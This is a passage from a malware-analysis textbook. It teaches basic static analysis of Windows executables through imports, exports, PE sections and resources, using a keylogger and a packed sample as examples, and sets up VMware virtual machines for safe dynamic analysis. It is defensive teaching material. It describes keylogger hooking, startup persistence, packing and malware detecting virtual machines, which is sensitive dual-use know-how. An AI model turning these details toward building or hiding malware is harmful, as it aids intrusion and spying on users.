Figure 1-6 shows the Dependency Walker’s analysis of SERVICES.EX_ . 
The far left pane at  shows the program as well as the DLLs being 
imported, namely KERNEL32.DLL and WS2_32.DLL. 

Figure 1-6: The Dependency Walker program

Clicking KERNEL32.DLL shows its imported functions in the upper-right 
pane at . We see several functions, but the most interesting is CreateProcessA, 
which tells us that the program will probably create another process, and sug-
gests that when running the program, we should watch for the launch of 
additional programs.

The middle right pane at  lists all functions in KERNEL32.DLL that can 
be imported—information that is not particularly useful to us. Notice the col-
umn in panes  and  labeled Ordinal. Executables can import functions 
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by ordinal instead of name. When importing a function by ordinal, the name 
of the function never appears in the original executable, and it can be harder 
for an analyst to figure out which function is being used. When malware 
imports a function by ordinal, you can find out which function is being 
imported by looking up the ordinal value in the pane at .

The bottom two panes ( and ) list additional information about 
the versions of DLLs that would be loaded if you ran the program and any 
reported errors, respectively. 

A program’s DLLs can tell you a lot about its functionality. For example, 
Table 1-1 lists common DLLs and what they tell you about an application.

Table 1-1: Common DLLs

DLL Description

Kernel32.dll This is a very common DLL that contains core functionality, such as access 
and manipulation of memory, files, and hardware. 

Advapi32.dll This DLL provides access to advanced core Windows components such 
as the Service Manager and Registry.

User32.dll This DLL contains all the user-interface components, such as buttons, scroll 
bars, and components for controlling and responding to user actions.

Gdi32.dll This DLL contains functions for displaying and manipulating graphics.

Ntdll.dll This DLL is the interface to the Windows kernel. Executables generally do 
not import this file directly, although it is always imported indirectly by 
Kernel32.dll. If an executable imports this file, it means that the author 
intended to use functionality not normally available to Windows pro-
grams. Some tasks, such as hiding functionality or manipulating pro-
cesses, will use this interface.

WSock32.dll and 
Ws2_32.dll

These are networking DLLs. A program that accesses either of these most 
likely connects to a network or performs network-related tasks.

Wininet.dll This DLL contains higher-level networking functions that implement 
protocols such as FTP, HTTP, and NTP.

F U N C T I O N  N A M I N G  C O N V E N T I O N S

When evaluating unfamiliar Windows functions, a few naming conventions are 
worth noting because they come up often and might confuse you if you don’t recog-
nize them. For example, you will often encounter function names with an Ex suffix, 
such as CreateWindowEx. When Microsoft updates a function and the new function is 
incompatible with the old one, Microsoft continues to support the old function. The 
new function is given the same name as the old function, with an added Ex suffix. 
Functions that have been significantly updated twice have two Ex suffixes in their 
names.

Many functions that take strings as parameters include an A or a W at the end of 
their names, such as CreateDirectoryW. This letter does not appear in the documenta-
tion for the function; it simply indicates that the function accepts a string parameter 
and that there are two different versions of the function: one for ASCII strings and 
one for wide character strings. Remember to drop the trailing A or W when searching 
for the function in the Microsoft documentation.
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Imported Functions
The PE file header also includes information about specific functions used 
by an executable. The names of these Windows functions can give you a good 
idea about what the executable does. Microsoft does an excellent job of 
documenting the Windows API through the Microsoft Developer Network 
(MSDN) library. (You’ll also find a list of functions commonly used by mal-
ware in Appendix A.)

Exported Functions
Like imports, DLLs and EXEs export functions to interact with other pro-
grams and code. Typically, a DLL implements one or more functions and 
exports them for use by an executable that can then import and use them. 

The PE file contains information about which functions a file exports. 
Because DLLs are specifically implemented to provide functionality used by 
EXEs, exported functions are most common in DLLs. EXEs are not designed 
to provide functionality for other EXEs, and exported functions are rare. 
If you discover exports in an executable, they often will provide useful 
information. 

In many cases, software authors name their exported functions in a 
way that provides useful information. One common convention is to use the 
name used in the Microsoft documentation. For example, in order to run a 
program as a service, you must first define a ServiceMain function. The pres-
ence of an exported function called ServiceMain tells you that the malware 
runs as part of a service. 

Unfortunately, while the Microsoft documentation calls this function 
ServiceMain, and it’s common for programmers to do the same, the function 
can have any name. Therefore, the names of exported functions are actually 
of limited use against sophisticated malware. If malware uses exports, it will 
often either omit names entirely or use unclear or misleading names. 

You can view export information using the Dependency Walker program 
discussed in “Exploring Dynamically Linked Functions with Dependency 
Walker” on page 16. For a list of exported functions, click the name of the 
file you want to examine. Referring back to Figure 1-6, window  shows all of 
a file’s exported functions. 

Static Analysis in Practice

Now that you understand the basics of static analysis, let’s examine some real 
malware. We’ll look at a potential keylogger and then a packed program.

PotentialKeylogger.exe: An Unpacked Executable
Table 1-2 shows an abridged list of functions imported by PotentialKeylogger.exe, 
as collected using Dependency Walker. Because we see so many imports, we 
can immediately conclude that this file is not packed.
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Like most average-sized programs, this executable contains a large num-
ber of imported functions. Unfortunately, only a small minority of those 
functions are particularly interesting for malware analysis. Throughout this 
book, we will cover the imports for malicious software, focusing on the most 
interesting functions from a malware analysis standpoint. 

When you are not sure what a function does, you will need to look it up. 
To help guide your analysis, Appendix A lists many of the functions of great-
est interest to malware analysts. If a function is not listed in Appendix A, 
search for it on MSDN online. 

As a new analyst, you will spend time looking up many functions that 
aren’t very interesting, but you’ll quickly start to learn which functions could 
be important and which ones are not. For the purposes of this example, we 
will show you a large number of imports that are uninteresting, so you can 

Table 1-2: An Abridged List of DLLs and Functions Imported from PotentialKeylogger.exe 

Kernel32.dll User32.dll User32.dll (continued)
CreateDirectoryW BeginDeferWindowPos ShowWindow

CreateFileW CallNextHookEx ToUnicodeEx

CreateThread CreateDialogParamW TrackPopupMenu

DeleteFileW CreateWindowExW TrackPopupMenuEx

ExitProcess DefWindowProcW TranslateMessage

FindClose DialogBoxParamW UnhookWindowsHookEx

FindFirstFileW EndDialog UnregisterClassW

FindNextFileW GetMessageW UnregisterHotKey

GetCommandLineW GetSystemMetrics

GetCurrentProcess GetWindowLongW GDI32.dll
GetCurrentThread GetWindowRect GetStockObject

GetFileSize GetWindowTextW SetBkMode

GetModuleHandleW InvalidateRect SetTextColor

GetProcessHeap IsDlgButtonChecked

GetShortPathNameW IsWindowEnabled Shell32.dll
HeapAlloc LoadCursorW CommandLineToArgvW

HeapFree LoadIconW SHChangeNotify

IsDebuggerPresent LoadMenuW SHGetFolderPathW

MapViewOfFile MapVirtualKeyW ShellExecuteExW

OpenProcess MapWindowPoints ShellExecuteW

ReadFile MessageBoxW

SetFilePointer RegisterClassExW Advapi32.dll
WriteFile RegisterHotKey RegCloseKey

SendMessageA RegDeleteValueW

SetClipboardData RegOpenCurrentUser

SetDlgItemTextW RegOpenKeyExW

SetWindowTextW RegQueryValueExW

SetWindowsHookExW RegSetValueExW
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become familiar with looking at a lot of data and focusing on some key nug-
gets of information. 

Normally, we wouldn’t know that this malware is a potential keylogger, 
and we would need to look for functions that provide the clues. We will be 
focusing on only the functions that provide hints to the functionality of the 
program.

The imports from Kernel32.dll in Table 1-2 tell us that this software can 
open and manipulate processes (such as OpenProcess, GetCurrentProcess, and 
GetProcessHeap) and files (such as ReadFile, CreateFile, and WriteFile). The 
functions FindFirstFile and FindNextFile are particularly interesting ones that 
we can use to search through directories.

The imports from User32.dll are even more interesting. The large num-
ber of GUI manipulation functions (such as RegisterClassEx, SetWindowText, 
and ShowWindow) indicates a high likelihood that this program has a GUI 
(though the GUI is not necessarily displayed to the user). 

The function SetWindowsHookEx is commonly used in spyware and is the 
most popular way that keyloggers receive keyboard inputs. This function has 
some legitimate uses, but if you suspect malware and you see this function, 
you are probably looking at keylogging functionality. 

The function RegisterHotKey is also interesting. It registers a hotkey (such 
as CTRL-SHIFT-P) so that whenever the user presses that hotkey combination, 
the application is notified. No matter which application is currently active, a 
hotkey will bring the user to this application. 

The imports from GDI32.dll are graphics-related and simply confirm that 
the program probably has a GUI. The imports from Shell32.dll tell us that this 
program can launch other programs—a feature common to both malware 
and legitimate programs. 

The imports from Advapi32.dll tell us that this program uses the registry, 
which in turn tells us that we should search for strings that look like registry 
keys. Registry strings look a lot like directories. In this case, we found the 
string Software\Microsoft\Windows\CurrentVersion\Run, which is a registry key 
(commonly used by malware) that controls which programs are automati-
cally run when Windows starts up.

This executable also has several exports: LowLevelKeyboardProc and 
LowLevelMouseProc. Microsoft’s documentation says, “The LowLevelKeyboardProc 
hook procedure is an application-defined or library-defined callback func-
tion used with the SetWindowsHookEx function.” In other words, this function 
is used with SetWindowsHookEx to specify which function will be called when a 
specified event occurs—in this case, the low-level keyboard event. The docu-
mentation for SetWindowsHookEx further explains that this function will be 
called when certain low-level keyboard events occur.

The Microsoft documentation uses the name LowLevelKeyboardProc, and 
the programmer in this case did as well. We were able to get valuable infor-
mation because the programmer didn’t obscure the name of an export. 

Using the information gleaned from a static analysis of these imports 
and exports, we can draw some significant conclusions or formulate some 
hypotheses about this malware. For one, it seems likely that this is a local 
keylogger that uses SetWindowsHookEx to record keystrokes. We can also 
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surmise that it has a GUI that is displayed only to a specific user, and that the 
hotkey registered with RegisterHotKey specifies the hotkey that the malicious 
user enters to see the keylogger GUI and access recorded keystrokes. We can 
further speculate from the registry function and the existence of Software\
Microsoft\Windows\CurrentVersion\Run that this program sets itself to load at 
system startup. 

PackedProgram.exe: A Dead End
Table 1-3 shows a complete list of the functions imported by a second piece 
of unknown malware. The brevity of this list tells us that this program is 
packed or obfuscated, which is further confirmed by the fact that this program 
has no readable strings. A Windows compiler would not create a program 
that imports such a small number of functions; even a Hello, World program 
would have more. 

The fact that this program is packed is a valuable piece of information, 
but its packed nature also prevents us from learning anything more about 
the program using basic static analysis. We’ll need to try more advanced anal-
ysis techniques such as dynamic analysis (covered in Chapter 3) or unpack-
ing (covered in Chapter 18).

The PE File Headers and Sections

PE file headers can provide considerably more information than just imports. 
The PE file format contains a header followed by a series of sections. The 
header contains metadata about the file itself. Following the header are the 
actual sections of the file, each of which contains useful information. As we 
progress through the book, we will continue to discuss strategies for viewing 
the information in each of these sections. The following are the most com-
mon and interesting sections in a PE file:

.text The .text section contains the instructions that the CPU exe-
cutes. All other sections store data and supporting information. Gener-
ally, this is the only section that can execute, and it should be the only 
section that includes code. 

.rdata The .rdata section typically contains the import and export infor-
mation, which is the same information available from both Dependency 

Table 1-3: DLLs and Functions Imported from PackedProgram.exe

Kernel32.dll User32.dll

GetModuleHandleA MessageBoxA

LoadLibraryA

GetProcAddress

ExitProcess

VirtualAlloc

VirtualFree
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Walker and PEview. This section can also store other read-only data used 
by the program. Sometimes a file will contain an .idata and .edata section, 
which store the import and export information (see Table 1-4).

.data The .data section contains the program’s global data, which is 
accessible from anywhere in the program. Local data is not stored in 
this section, or anywhere else in the PE file. (We address this topic in 
Chapter 6.)

.rsrc The .rsrc section includes the resources used by the executable 
that are not considered part of the executable, such as icons, images, 
menus, and strings. Strings can be stored either in the .rsrc section or 
in the main program, but they are often stored in the .rsrc section for 
multilanguage support.

Section names are often consistent across a compiler, but can vary across 
different compilers. For example, Visual Studio uses .text for executable 
code, but Borland Delphi uses CODE. Windows doesn’t care about the actual 
name since it uses other information in the PE header to determine how a 
section is used. Furthermore, the section names are sometimes obfuscated to 
make analysis more difficult. Luckily, the default names are used most of the 
time. Table 1-4 lists the most common you’ll encounter.

Examining PE Files with PEview
The PE file format stores interesting information within its header. We can use 
the PEview tool to browse through the information, as shown in Figure 1-7. 

In the figure, the left pane at  displays the main parts of a PE header. 
The IMAGE_FILE_HEADER entry is highlighted because it is currently selected.

The first two parts of the PE header—the IMAGE_DOS_HEADER and MS-DOS 
Stub Program—are historical and offer no information of particular interest 
to us.

The next section of the PE header, IMAGE_NT_HEADERS, shows the NT head-
ers. The signature is always the same and can be ignored.

The IMAGE_FILE_HEADER entry, highlighted and displayed in the right panel 
at , contains basic information about the file. The Time Date Stamp 

Table 1-4: Sections of a PE File for a Windows Executable

Executable Description

.text Contains the executable code

.rdata Holds read-only data that is globally accessible within the program

.data Stores global data accessed throughout the program

.idata Sometimes present and stores the import function information; if this section is 
not present, the import function information is stored in the .rdata section

.edata Sometimes present and stores the export function information; if this section is not 
present, the export function information is stored in the .rdata section

.pdata Present only in 64-bit executables and stores exception-handling information

.rsrc Stores resources needed by the executable

.reloc Contains information for relocation of library files
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description at  tells us when this executable was compiled, which can be very 
useful in malware analysis and incident response. For example, an old com-
pile time suggests that this is an older attack, and antivirus programs might 
contain signatures for the malware. A new compile time suggests the reverse.

Figure 1-7: Viewing the IMAGE_FILE_HEADER in the PEview program

That said, the compile time is a bit problematic. All Delphi programs use 
a compile time of June 19, 1992. If you see that compile time, you’re proba-
bly looking at a Delphi program, and you won’t really know when it was com-
piled. In addition, a competent malware writer can easily fake the compile 
time. If you see a compile time that makes no sense, it probably was faked.

The IMAGE_OPTIONAL_HEADER section includes several important pieces of 
information. The Subsystem description indicates whether this is a console 
or GUI program. Console programs have the value IMAGE_SUBSYSTEM_WINDOWS_CUI 
and run inside a command window. GUI programs have the value IMAGE_
SUBSYSTEM_WINDOWS_GUI and run within the Windows system. Less common sub-
systems such as Native or Xbox also are used.

The most interesting information comes from the section headers, which 
are in IMAGE_SECTION_HEADER, as shown in Figure 1-8. These headers are used to 
describe each section of a PE file. The compiler generally creates and names 
the sections of an executable, and the user has little control over these names. 
As a result, the sections are usually consistent from executable to executable 
(see Table 1-4), and any deviations may be suspicious.

For example, in Figure 1-8, Virtual Size at  tells us how much space is 
allocated for a section during the loading process. The Size of Raw Data at  
shows how big the section is on disk. These two values should usually be 
equal, because data should take up just as much space on the disk as it does 
in memory. Small differences are normal, and are due to differences between 
alignment in memory and on disk.

The section sizes can be useful in detecting packed executables. For 
example, if the Virtual Size is much larger than the Size of Raw Data, you 
know that the section takes up more space in memory than it does on disk. 
This is often indicative of packed code, particularly if the .text section is 
larger in memory than on disk. 

�

�

�
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Figure 1-8: Viewing the IMAGE_SECTION_HEADER .text section in the PEview program

Table 1-5 shows the sections from PotentialKeylogger.exe. As you can see, 
the .text, .rdata, and .rsrc sections each has a Virtual Size and Size of Raw 
Data value of about the same size. The .data section may seem suspicious 
because it has a much larger virtual size than raw data size, but this is normal 
for the .data section in Windows programs. But note that this information 
alone does not tell us that the program is not malicious; it simply shows that it 
is likely not packed and that the PE file header was generated by a compiler.

Table 1-6 shows the sections from PackedProgram.exe. The sections in this 
file have a number of anomalies: The sections named Dijfpds, .sdfuok, and 
Kijijl are unusual, and the .text, .data, and .rdata sections are suspicious. 
The .text section has a Size of Raw Data value of 0, meaning that it takes up 
no space on disk, and its Virtual Size value is A000, which means that space 
will be allocated for the .text segment. This tells us that a packer will unpack 
the executable code to the allocated .text section.

Table 1-5: Section Information for PotentialKeylogger.exe

Section Virtual size Size of raw data

.text 7AF5 7C00

.data 17A0 0200

.rdata 1AF5 1C00

.rsrc 72B8 7400

Table 1-6: Section Information for PackedProgram.exe

Name Virtual size Size of raw data

.text A000 0000

.data 3000 0000

.rdata 4000 0000

.rsrc 19000 3400

�

�
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Viewing the Resource Section with Resource Hacker
Now that we’re finished looking at the header for the PE file, we can look at 
some of the sections. The only section we can examine without additional 
knowledge from later chapters is the resource section. You can use the free 
Resource Hacker tool found at http://www.angusj.com/ to browse the .rsrc 
section. When you click through the items in Resource Hacker, you’ll see the 
strings, icons, and menus. The menus displayed are identical to what the pro-
gram uses. Figure 1-9 shows the Resource Hacker display for the Windows 
Calculator program, calc.exe. 

Figure 1-9: The Resource Hacker tool display for calc.exe

The panel on the left shows all resources included in this executable. 
Each root folder shown in the left pane at  stores a different type of 
resource. The informative sections for malware analysis include:

 The Icon section lists images shown when the executable is in a file listing.

 The Menu section stores all menus that appear in various windows, such 
as the File, Edit, and View menus. This section contains the names of all 
the menus, as well as the text shown for each. The names should give you 
a good idea of their functionality.

 The Dialog section contains the program’s dialog menus. The dialog at  
shows what the user will see when running calc.exe. If we knew nothing 
else about calc.exe, we could identify it as a calculator program simply by 
looking at this dialog menu.

 The String Table section stores strings. 

 The Version Info section contains a version number and often the com-
pany name and a copyright statement.

Dijfpds 20000 0000

.sdfuok 34000 3313F

Kijijl 1000 0200

Table 1-6: Section Information for PackedProgram.exe (continued)

Name Virtual size Size of raw data

�
�
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The .rsrc section shown in Figure 1-9 is typical of Windows applications 
and can include whatever a programmer requires. 

NOTE Malware, and occasionally legitimate software, often store an embedded program or 
driver here and, before the program runs, they extract the embedded executable or driver. 
Resource Hacker lets you extract these files for individual analysis. 

Using Other PE File Tools
Many other tools are available for browsing a PE header. Two of the most 
useful tools are PEBrowse Professional and PE Explorer.

PEBrowse Professional (http://www.smidgeonsoft.prohosting.com/pebrowse-
pro-file-viewer.html) is similar to PEview. It allows you to look at the bytes from 
each section and shows the parsed data. PEBrowse Professional does the bet-
ter job of presenting information from the resource (.rsrc) section. 

PE Explorer (http://www.heaventools.com/) has a rich GUI that allows you 
to navigate through the various parts of the PE file. You can edit certain parts 
of the PE file, and its included resource editor is great for browsing and edit-
ing the file’s resources. The tool’s main drawback is that it is not free.

PE Header Summary
The PE header contains useful information for the malware analyst, and we 
will continue to examine it in subsequent chapters. Table 1-7 reviews the key 
information that can be obtained from a PE header.

Conclusion

Using a suite of relatively simple tools, we can perform static analysis on mal-
ware to gain a certain amount of insight into its function. But static analysis is 
typically only the first step, and further analysis is usually necessary. The next 
step is setting up a safe environment so you can run the malware and per-
form basic dynamic analysis, as you’ll see in the next two chapters.

Table 1-7: Information in the PE Header

Field Information revealed

Imports Functions from other libraries that are used by the malware

Exports Functions in the malware that are meant to be called by other programs 
or libraries

Time Date Stamp Time when the program was compiled

Sections Names of sections in the file and their sizes on disk and in memory

Subsystem Indicates whether the program is a command-line or GUI application

Resources Strings, icons, menus, and other information included in the file
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L A B S
The purpose of the labs is to give you an opportunity to practice the skills 
taught in the chapter. In order to simulate realistic malware analysis you will 
be given little or no information about the program you are analyzing. Like 
all of the labs throughout this book, the basic static analysis lab files have 
been given generic names to simulate unknown malware, which typically use 
meaningless or misleading names.

Each of the labs consists of a malicious file, a few questions, short answers 
to the questions, and a detailed analysis of the malware. The solutions to the 
labs are included in Appendix C.

The labs include two sections of answers. The first section consists of 
short answers, which should be used if you did the lab yourself and just want 
to check your work. The second section includes detailed explanations for 
you to follow along with our solution and learn how we found the answers to 
the questions posed in each lab.

Lab 1-1

This lab uses the files Lab01-01.exe and Lab01-01.dll. Use the tools and tech-
niques described in the chapter to gain information about the files and 
answer the questions below.

Questions

1. Upload the files to http://www.VirusTotal.com/ and view the reports. Does 
either file match any existing antivirus signatures?

2. When were these files compiled?

3. Are there any indications that either of these files is packed or obfuscated? 
If so, what are these indicators?

4. Do any imports hint at what this malware does? If so, which imports 
are they?

5. Are there any other files or host-based indicators that you could look for 
on infected systems?

6. What network-based indicators could be used to find this malware on 
infected machines?

7. What would you guess is the purpose of these files?

Lab 1-2

Analyze the file Lab01-02.exe.
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Questions

1. Upload the Lab01-02.exe file to http://www.VirusTotal.com/. Does it match 
any existing antivirus definitions?

2. Are there any indications that this file is packed or obfuscated? If so, 
what are these indicators? If the file is packed, unpack it if possible.

3. Do any imports hint at this program’s functionality? If so, which imports 
are they and what do they tell you?

4. What host- or network-based indicators could be used to identify this 
malware on infected machines?

Lab 1-3

Analyze the file Lab01-03.exe.

Questions

1. Upload the Lab01-03.exe file to http://www.VirusTotal.com/. Does it match 
any existing antivirus definitions?

2. Are there any indications that this file is packed or obfuscated? If so, 
what are these indicators? If the file is packed, unpack it if possible.

3. Do any imports hint at this program’s functionality? If so, which imports 
are they and what do they tell you?

4. What host- or network-based indicators could be used to identify this 
malware on infected machines?

Lab 1-4

Analyze the file Lab01-04.exe.

Questions

1. Upload the Lab01-04.exe file to http://www.VirusTotal.com/. Does it match 
any existing antivirus definitions?

2. Are there any indications that this file is packed or obfuscated? If so, 
what are these indicators? If the file is packed, unpack it if possible.

3. When was this program compiled?

4. Do any imports hint at this program’s functionality? If so, which imports 
are they and what do they tell you?

5. What host- or network-based indicators could be used to identify this 
malware on infected machines?

6. This file has one resource in the resource section. Use Resource Hacker 
to examine that resource, and then use it to extract the resource. What 
can you learn from the resource?
28 Chapter 1



M A L W A R E  A N A L Y S I S  I N  
V I R T U A L M A C H I N E S

Before you can run malware to perform dynamic 
analysis, you must set up a safe environment. Fresh 
malware can be full of surprises, and if you run it on 
a production machine, it can quickly spread to other 
machines on the network and be very difficult to remove. A safe environment 
will allow you to investigate the malware without exposing your machine or 
other machines on the network to unexpected and unnecessary risk.

You can use dedicated physical or virtual machines to study malware 
safely. Malware can be analyzed using individual physical machines on air-
gapped networks. These are isolated networks with machines that are discon-
nected from the Internet or any other networks to prevent the malware from 
spreading.

Air-gapped networks allow you to run malware in a real environment 
without putting other computers at risk. One disadvantage of this test sce-
nario, however, is the lack of an Internet connection. Many pieces of mal-
ware depend on a live Internet connection for updates, command and 
control, and other features.



Another disadvantage to analyzing malware on physical rather than vir-
tual machines is that malware can be difficult to remove. To avoid problems, 
most people who test malware on physical machines use a tool such as Nor-
ton Ghost to manage backup images of their operating systems (OSs), which 
they restore on their machines after they’ve completed their analysis.

The main advantage to using physical machines for malware analysis is 
that malware can sometimes execute differently on virtual machines. As 
you’re analyzing malware on a virtual machine, some malware can detect 
that it’s being run in a virtual machine, and it will behave differently to 
thwart analysis.

Because of the risks and disadvantages that come with using physical 
machines to analyze malware, virtual machines are most commonly used for 
dynamic analysis. In this chapter, we’ll focus on using virtual machines for 
malware analysis.

The Structure of a Virtual Machine

Virtual machines are like a computer inside a computer, as illustrated in Fig-
ure 2-1. A guest OS is installed within the host OS on a virtual machine, and 
the OS running in the virtual machine is kept isolated from the host OS. 
Malware running on a virtual machine cannot harm the host OS. And if the 
malware damages the virtual machine, you can simply reinstall the OS in the 
virtual machine or return the virtual machine to a clean state.

Figure 2-1: Traditional applications run as shown in the left 
column. The guest OS is contained entirely within the virtual 
machine, and the virtual applications are contained within 
the guest OS.

VMware offers a popular series of desktop virtualization products that 
can be used for analyzing malware on virtual machines. VMware Player is free 
and can be used to create and run virtual machines, but it lacks some fea-
tures necessary for effective malware analysis. VMware Workstation costs a 
little under $200 and is generally the better choice for malware analysis. It 
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includes features such as snapshotting, which allows you to save the current 
state of a virtual machine, and the ability to clone or copy an existing virtual 
machine.

There are many alternatives to VMware, such as Parallels, Microsoft Vir-
tual PC, Microsoft Hyper-V, and Xen. These vary in host and guest OS sup-
port and features. This book will focus on using VMware for virtualization, 
but if you prefer another virtualization tool, you should still find this discus-
sion relevant.

Creating Your Malware Analysis Machine

Of course, before you can use a virtual machine for malware analysis, you 
need to create one. This book is not specifically about virtualization, so we 
won’t walk you through all of the details. When presented with options, your 
best bet, unless you know that you have different requirements, is to choose 
the default hardware configurations. Choose the hard drive size based on 
your needs.

VMware uses disk space intelligently and will resize its virtual disk dynam-
ically based on your need for storage. For example, if you create a 20GB hard 
drive but store only 4GB of data on it, VMware will shrink the size of the vir-
tual hard drive accordingly. A virtual drive size of 20GB is typically a good 
beginning. That amount should be enough to store the guest OS and any 
tools that you might need for malware analysis. VMware will make a lot of 
choices for you and, in most cases, these choices will do the job.

Next, you’ll install your OS and applications. Most malware and malware 
analysis tools run on Windows, so you will likely install Windows as your vir-
tual OS. As of this writing, Windows XP is still the most popular OS (surpris-
ingly) and the target for most malware. We’ll focus our explorations on 
Windows XP.

After you’ve installed the OS, you can install any required applications. 
You can always install applications later, but it is usually easier if you set up 
everything at once. Appendix B has a list of useful applications for malware 
analysis.

Next, you’ll install VMware Tools. From the VMware menu, select VM
Install VMware Tools to begin the installation. VMware Tools improves the 
user experience by making the mouse and keyboard more responsive. It also 
allows access to shared folders, drag-and-drop file transfer, and various other 
useful features we’ll discuss in this chapter.

After you’ve installed VMware, it’s time for some configuration.

Configuring VMware
Most malware includes network functionality. For example, a worm will per-
form network attacks against other machines in an effort to spread itself. But 
you would not want to allow a worm access to your own network, because it 
could to spread to other computers.
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When analyzing malware, you will probably want to observe the malware’s 
network activity to help you understand the author’s intention, to create sig-
natures, or to exercise the program fully. VMware offers several networking 
options for virtual networking, as shown in Figure 2-2 and discussed in the 
following sections.

Figure 2-2: Virtual network configuration options for a network adapter

Disconnecting the Network

Although you can configure a virtual machine to have no network connectiv-
ity, it’s usually not a good idea to disconnect the network. Doing so will be 
useful only in certain cases. Without network connectivity, you won’t be able 
to analyze malicious network activity.

Still, should you have reason to disconnect the network in VMware, you 
can do so either by removing the network adapter from the virtual machine 
or by disconnecting the network adapter from the network by choosing 
VMRemovable Devices. 

You can also control whether a network adapter is connected automati-
cally when the machine is turned on by checking the Connect at power on 
checkbox (see Figure 2-2).

Setting Up Host-Only Networking

Host-only networking, a feature that creates a separate private LAN between the 
host OS and the guest OS, is commonly used for malware analysis. A host-only 
LAN is not connected to the Internet, which means that the malware is con-
tained within your virtual machine but allowed some network connectivity.
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NOTE When configuring your host computer, ensure that it is fully patched, as protection in 
case the malware you’re testing tries to spread. It’s a good idea to configure a restrictive 
firewall to the host from the virtual machine to help prevent the malware from spread-
ing to your host. The Microsoft firewall that comes with Windows XP Service Pack 2 
and later is well documented and provides sufficient protection. Even if patches are 
up to date, however, the malware could spread by using a zero-day exploit against the 
host OS.

Figure 2-3 illustrates the network configuration for host-only networking. 
When host-only networking is enabled, VMware creates a virtual network 
adapter in the host and virtual machines, and connects the two without 
touching the host’s physical network adapter. The host’s physical network 
adapter is still connected to the Internet or other external network.

Figure 2-3: Host-only networking in VMware

switch. In this case, the host machine is still connected to the external 
network, but not to the machine running the malware.

When using more than one virtual machine for analysis, you’ll find 
it useful to combine the machines as a virtual machine team. When your 
machines are joined as part of a virtual machine team, you will be able to 
manage their power and network settings together. To create a new virtual 
machine team, choose FileNewTeam.

Using Multiple Virtual Machines

One last configuration combines 
the best of all options. It requires 
multiple virtual machines linked 
by a LAN but disconnected from 
the Internet and host machine, so 
that the malware is connected to a 
network, but the network isn’t 
connected to anything important.

Figure 2-4 shows a custom 
configuration with two virtual 
machines connected to each 
other. In this configuration, one 
virtual machine is set up to ana-
lyze malware, and the second 
machine provides services. The 
two virtual machines are con-
nected to the same VMNet virtual 

Figure 2-4: Custom networking in VMware
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Using Your Malware Analysis Machine

To exercise the functionality of your subject malware as much as possible, you 
must simulate all network services on which the malware relies. For example, 
malware commonly connects to an HTTP server to download additional mal-
ware. To observe this activity, you’ll need to give the malware access to a 
Domain Name System (DNS) server to resolve the server’s IP address, as 
well as an HTTP server to respond to requests. With the custom network 
configuration just described, the machine providing services should be run-
ning the services required for the malware to communicate. (We’ll discuss a 
variety of tools useful for simulating network services in the next chapter.)

Connecting Malware to the Internet
Sometimes you’ll want to connect your malware-running machine to the 
Internet to provide a more realistic analysis environment, despite the obvi-
ous risks. The biggest risk, of course, is that your computer will perform 
malicious activity, such as spreading malware to additional hosts, becoming a 
node in a distributed denial-of-service attack, or simply spamming. Another 
risk is that the malware writer could notice that you are connecting to the 
malware server and trying to analyze the malware.

You should never connect malware to the Internet without first perform-
ing some analysis to determine what the malware might do when connected. 
Then connect only if you are comfortable with the risks.

The most common way to connect a virtual machine to the Internet using 
VMware is with a bridged network adapter, which allows the virtual machine to be 
connected to the same network interface as the physical machine. Another 
way to connect malware running on a virtual machine to the Internet is to 
use VMware’s Network Address Translation (NAT) mode.

NAT mode shares the host’s IP connection to the Internet. The host 
acts like a router and translates all requests from the virtual machine so 
that they come from the host’s IP address. This mode is useful when the 
host is connected to the network, but the network configuration makes it 
difficult, if not impossible, to connect the virtual machine’s adapter to the 
same network.

For example, if the host is using a wireless adapter, NAT mode can be 
easily used to connect the virtual machine to the network, even if the wireless 
network has Wi-Fi Protected Access (WPA) or Wired Equivalent Privacy (WEP) 
enabled. Or, if the host adapter is connected to a network that allows only 
certain network adapters to connect, NAT mode allows the virtual machine 
to connect through the host, thereby avoiding the network’s access control 
settings.

Connecting and Disconnecting Peripheral Devices
Peripheral devices, such as CD-ROMs and external USB storage drives, pose 
a particular problem for virtual machines. Most devices can be connected 
either to the physical machine or the virtual machine, but not both.
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The VMware interface allows you to connect and disconnect external 
devices to virtual machines. If you connect a USB device to a machine while 
the virtual machine window is active, VMware will connect the USB device 
to the guest and not the host, which may be undesirable, considering the 
growing popularity of worms that spread via USB storage devices. To modify 
this setting, choose VMSettingsUSB Controller and uncheck the Auto-
matically connect new USB devices checkbox to prevent USB devices from 
being connected to the virtual machine.

Taking Snapshots
Taking snapshots is a concept unique to virtual machines. VMware’s virtual 
machine snapshots allow you save a computer’s current state and return to 
that point later, similar to a Windows restore point.

The timeline in Figure 2-5 illustrates how taking snapshots works. At 8:00 
you take a snapshot of the computer. Shortly after that, you run the malware 
sample. At 10:00, you revert to the snapshot. The OS, software, and other 
components of the machine return to the same state they were in at 8:00, 
and everything that occurred between 8:00 and 10:00 is erased as though it 
never happened. As you can see, taking snapshots is an extremely powerful 
tool. It’s like a built-in undo feature that saves you the hassle of needing to 
reinstall your OS.

Figure 2-5: Snapshot timeline

After you’ve installed your OS and malware analysis tools, and you have 
configured the network, take a snapshot. Use that snapshot as your base, 
clean-slate snapshot. Next, run your malware, complete your analysis, and 
then save your data and revert to the base snapshot, so that you can do it all 
over again.

But what if you’re in the middle of analyzing malware and you want to do 
something different with your virtual machine without erasing all of your 
progress? VMware’s Snapshot Manager allows you to return to any snapshot 
at any time, no matter which additional snapshots have been taken since 
then or what has happened to the machine. In addition, you can branch 
your snapshots so that they follow different paths. Take a look at the follow-
ing example workflow:

1. While analyzing malware sample 1, you get frustrated and want to try 
another sample.

2. You take a snapshot of the malware analysis of sample 1.

3. You return to the base image.
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4. You begin to analyze malware sample 2.

5. You take a snapshot to take a break.

When you return to your virtual machine, you can access either snapshot 
at any time, as shown in Figure 2-6. The two machine states are completely 
independent, and you can save as many snapshots as you have disk space.

Figure 2-6: VMware Snapshot Manager

Transferring Files from a Virtual Machine
One drawback of using snapshots is that any work undertaken on the virtual 
machine is lost when you revert to an earlier snapshot. You can, however, 
save your work before loading the earlier snapshot by transferring any files 
that you want to keep to the host OS using VMware’s drag-and-drop feature. 
As long as VMware Tools is installed in the guest OS and both systems are 
running Windows, you should be able to drag and drop a file directly from 
the guest OS to the host OS. This is the simplest and easiest way to transfer 
files.

Another way to transfer your data is with VMware’s shared folders. A 
shared folder is accessible from both the host and the guest OS, similar to a 
shared Windows folder.

The Risks of Using VMware for Malware Analysis

Some malware can detect when it is running within a virtual machine, and 
many techniques have been published to detect just such a situation. VMware 
